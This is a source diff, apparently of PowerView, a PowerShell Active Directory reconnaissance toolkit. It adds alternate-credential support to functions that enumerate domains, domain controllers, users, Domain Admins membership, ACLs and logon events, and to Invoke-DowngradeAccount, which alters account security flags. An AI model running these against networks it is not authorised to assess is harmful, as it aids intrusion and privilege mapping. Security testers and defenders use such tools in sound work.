http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Domain + $Domain, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch { - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetDomain" + + if(!$Domain) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Domain = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Domain' from -Credential" } - else { - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null } } + elseif($Domain) { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + try { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + } + catch { + Write-Warning "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust." + $Null + } + } + else { + [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } } -function Get-NetForest { +filter Get-NetForest { <# .SYNOPSIS @@ -1778,47 +1884,76 @@ function Get-NetForest { The forest name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForest -Forest external.domain + + .EXAMPLE + + PS C:\> "external.domain" | Get-NetForest #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($Forest) { - $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) - try { - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) - } - catch { - Write-Debug "The specified forest $Forest does not exist, could not be contacted, or there isn't an existing trust." - $Null - } + if($Credential) { + + Write-Verbose "Using alternate credentials for Get-NetForest" + + if(!$Forest) { + # if no domain is supplied, extract the logon domain from the PSCredential passed + $Forest = $Credential.GetNetworkCredential().Domain + Write-Verbose "Extracted domain '$Forest' from -Credential" } - else { - # otherwise use the current forest - $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password) + + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) } - - if($ForestObject) { - # get the SID of the forest root - $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value - $Parts = $ForestSid -Split "-" - $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" - $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid - $ForestObject + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid." + $Null + } + } + elseif($Forest) { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) + try { + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + } + catch { + Write-Warning "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust." + return $Null } } + else { + # otherwise use the current forest + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + } + + if($ForestObject) { + # get the SID of the forest root + $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value + $Parts = $ForestSid -Split "-" + $ForestSid = $Parts[0..$($Parts.length-2)] -join "-" + $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid + $ForestObject + } } -function Get-NetForestDomain { +filter Get-NetForestDomain { <# .SYNOPSIS @@ -1828,9 +1963,10 @@ function Get-NetForestDomain { The forest name to query domain for. - .PARAMETER Domain + .PARAMETER Credential - Return domains that match this term/wildcard. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE @@ -1841,39 +1977,24 @@ function Get-NetForestDomain { PS C:\> Get-NetForestDomain -Forest external.local #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] $Forest, - [String] - $Domain + [Management.Automation.PSCredential] + $Credential ) - process { - if($Domain) { - # try to detect a wild card so we use -like - if($Domain.Contains('*')) { - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name -like $Domain} - } - else { - # match the exact domain name if there's not a wildcard - (Get-NetForest -Forest $Forest).Domains | Where-Object {$_.Name.ToLower() -eq $Domain.ToLower()} - } - } - else { - # return all domains - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.Domains - } - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.Domains } } -function Get-NetForestCatalog { +filter Get-NetForestCatalog { <# .SYNOPSIS @@ -1883,28 +2004,34 @@ function Get-NetForestCatalog { The forest name to query domain for. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestCatalog #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() } } -function Get-NetDomainController { +filter Get-NetDomainController { <# .SYNOPSIS @@ -1922,9 +2049,28 @@ function Get-NetDomainController { Switch. Use LDAP queries to determine the domain controllers. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' + + Determine the domain controllers for 'test.local'. + .EXAMPLE - PS C:\> Get-NetDomainController -Domain test + PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP + + Determine the domain controllers for 'test.local' using LDAP queries. + + .EXAMPLE + + PS C:\> 'test.local' | Get-NetDomainController + + Determine the domain controllers for 'test.local'. #> [CmdletBinding()] @@ -1937,20 +2083,20 @@ function Get-NetDomainController { $DomainController, [Switch] - $LDAP + $LDAP, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($LDAP -or $DomainController) { - # filter string to return all domain controllers - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' - } - else { - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - $Founddomain.DomainControllers - } + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $Founddomain.DomainControllers } } } @@ -2012,6 +2158,11 @@ function Get-NetUser { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetUser -Domain testing @@ -2021,9 +2172,8 @@ function Get-NetUser { PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" #> - [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $UserName, @@ -2053,12 +2203,15 @@ function Get-NetUser { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential } process { @@ -2395,6 +2548,11 @@ function Get-UserProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserProperty -Domain testing @@ -2426,22 +2584,25 @@ function Get-UserProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' } } -function Find-UserField { +filter Find-UserField { <# .SYNOPSIS @@ -2476,6 +2637,11 @@ function Find-UserField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-UserField -SearchField info -SearchTerm backup @@ -2503,16 +2669,17 @@ function Find-UserField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 - ) + $PageSize = 200, - process { - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField - } + [Management.Automation.PSCredential] + $Credential + ) + + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } -function Get-UserEvent { +filter Get-UserEvent { <# .SYNOPSIS @@ -2534,7 +2701,12 @@ function Get-UserEvent { .PARAMETER DateStart Filter out all events before this date. Default: 5 days - + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local @@ -2545,6 +2717,7 @@ function Get-UserEvent { #> Param( + [Parameter(ValueFromPipeline=$True)] [String] $ComputerName = $Env:ComputerName, @@ -2553,7 +2726,10 @@ function Get-UserEvent { $EventType = "logon", [DateTime] - $DateStart=[DateTime]::Today.AddDays(-5) + $DateStart = [DateTime]::Today.AddDays(-5), + + [Management.Automation.PSCredential] + $Credential ) if($EventType.ToLower() -like "logon") { @@ -2566,8 +2742,25 @@ function Get-UserEvent { [Int32[]]$ID = @(4624, 4768) } - #grab all events matching our filter for the specified host - Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + if($Credential) { + Write-Verbose "Using alternative credentials" + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'Credential' = $Credential; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + else { + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + + # grab all events matching our filter for the specified host + Get-WinEvent @Arguments | ForEach-Object { if($ID -contains 4624) { # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) @@ -2763,7 +2956,7 @@ function Get-ObjectAcl { ) begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize # get a GUID -> name mapping if($ResolveGUIDs) { @@ -2785,10 +2978,11 @@ function Get-ObjectAcl { try { $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { $Object = [adsi]($_.path) + if($Object.distinguishedname) { $Access = $Object.PsBase.ObjectSecurity.access $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] if($Object.objectsid[0]){ $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -3170,6 +3364,7 @@ function Invoke-ACLScanner { } | Where-Object { # check for any ACLs with SIDs > -1000 try { + # TODO: change this to a regex for speedup? [int]($_.IdentitySid.split("-")[-1]) -ge 1000 } catch {} @@ -3180,7 +3375,7 @@ function Invoke-ACLScanner { } -function Get-GUIDMap { +filter Get-GUIDMap { <# .SYNOPSIS @@ -3207,6 +3402,7 @@ function Get-GUIDMap { [CmdletBinding()] Param ( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -3236,7 +3432,7 @@ function Get-GUIDMap { } } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential if ($RightsSearcher) { $RightsSearcher.filter = "(objectClass=controlAccessRight)" try { @@ -3306,6 +3502,10 @@ function Get-NetComputer { The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. .PARAMETER Unconstrained @@ -3315,6 +3515,11 @@ function Get-NetComputer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetComputer @@ -3386,12 +3591,15 @@ function Get-NetComputer { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - # so this isn't repeated if users are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential } process { @@ -3496,6 +3704,11 @@ function Get-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" @@ -3538,7 +3751,10 @@ function Get-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { if($SID) { @@ -3562,10 +3778,9 @@ function Get-ADObject { } } - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($ObjectSearcher) { - if($SID) { $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" } @@ -3642,6 +3857,11 @@ function Set-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 @@ -3689,7 +3909,10 @@ function Set-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) $Arguments = @{ @@ -3700,6 +3923,7 @@ function Set-ADObject { 'DomainController' = $DomainController 'Filter' = $Filter 'PageSize' = $PageSize + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject $RawObject = Get-ADObject -ReturnRaw @Arguments @@ -3765,6 +3989,11 @@ function Invoke-DowngradeAccount { Switch. Unset the reversible encryption flag and force password reset flag. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS> Invoke-DowngradeAccount -SamAccountName jason @@ -3780,10 +4009,11 @@ function Invoke-DowngradeAccount { [CmdletBinding()] Param ( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] [String] $SamAccountName, + [Parameter(ParameterSetName = 'Name')] [String] $Name, @@ -3797,7 +4027,10 @@ function Invoke-DowngradeAccount { $Filter, [Switch] - $Repair + $Repair, + + [Management.Automation.PSCredential] + $Credential ) process { @@ -3807,6 +4040,7 @@ function Invoke-DowngradeAccount { 'Domain' = $Domain 'DomainController' = $DomainController 'Filter' = $Filter + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject @@ -3868,6 +4102,11 @@ function Get-ComputerProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ComputerProperty -Domain testing @@ -3899,17 +4138,20 @@ function Get-ComputerProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" } } @@ -3949,6 +4191,11 @@ function Find-ComputerField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-ComputerField -SearchTerm backup -SearchField info @@ -3978,11 +4225,14 @@ function Find-ComputerField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } } @@ -4021,6 +4271,11 @@ function Get-NetOU { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetOU @@ -4037,7 +4292,13 @@ function Get-NetOU { PS C:\> Get-NetOU -GUID 123-... - Returns all OUs with linked to the specified group policy object. + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU + + Get the full OU names for the given search terms piped on the pipeline. #> [CmdletBinding()] @@ -4063,11 +4324,14 @@ function Get-NetOU { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { if ($OUSearcher) { @@ -4079,16 +4343,21 @@ function Get-NetOU { $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" } - $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath + try { + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } } } + catch { + Write-Warning $_ + } } } } @@ -4128,6 +4397,11 @@ function Get-NetSite { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSite -Domain testlab.local -FullData @@ -4158,11 +4432,18 @@ function Get-NetSite { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } process { if($SiteSearcher) { @@ -4225,6 +4506,11 @@ function Get-NetSubnet { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSubnet @@ -4258,11 +4544,18 @@ function Get-NetSubnet { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize } process { @@ -4390,6 +4683,11 @@ function Get-NetGroup { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroup @@ -4444,11 +4742,14 @@ function Get-NetGroup { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { @@ -4461,7 +4762,7 @@ function Get-NetGroup { if ($UserName) { # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize # convert the user to a directory entry $UserDirectoryEntry = $User.GetDirectoryEntry() @@ -4476,7 +4777,7 @@ function Get-NetGroup { # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize + Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential } else { if($RawSids) { @@ -4565,6 +4866,11 @@ function Get-NetGroupMember { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroupMember @@ -4592,7 +4898,7 @@ function Get-NetGroupMember { $SID, [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -4611,15 +4917,22 @@ function Get-NetGroupMember { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if(!$DomainController) { - $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential } } @@ -4630,15 +4943,15 @@ function Get-NetGroupMember { if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.name @@ -4663,7 +4976,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } @@ -4795,7 +5108,7 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize } } @@ -4828,6 +5141,11 @@ function Get-NetFileServer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetFileServer @@ -4854,7 +5172,10 @@ function Get-NetFileServer { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) function SplitPath { @@ -4869,7 +5190,7 @@ function Get-NetFileServer { } } - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { # filter for any target users if($TargetUsers) { $TargetUsers -Match $_.samAccountName @@ -4920,6 +5241,11 @@ function Get-DFSshare { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DFSshare @@ -4950,7 +5276,10 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) function Get-DFSshareV1 { @@ -4967,10 +5296,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5014,10 +5346,13 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($DFSsearcher) { $DFSshares = @() @@ -5054,10 +5389,10 @@ function Get-DFSshare { $DFSshares = @() if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } if ( ($Version -eq "all") -or 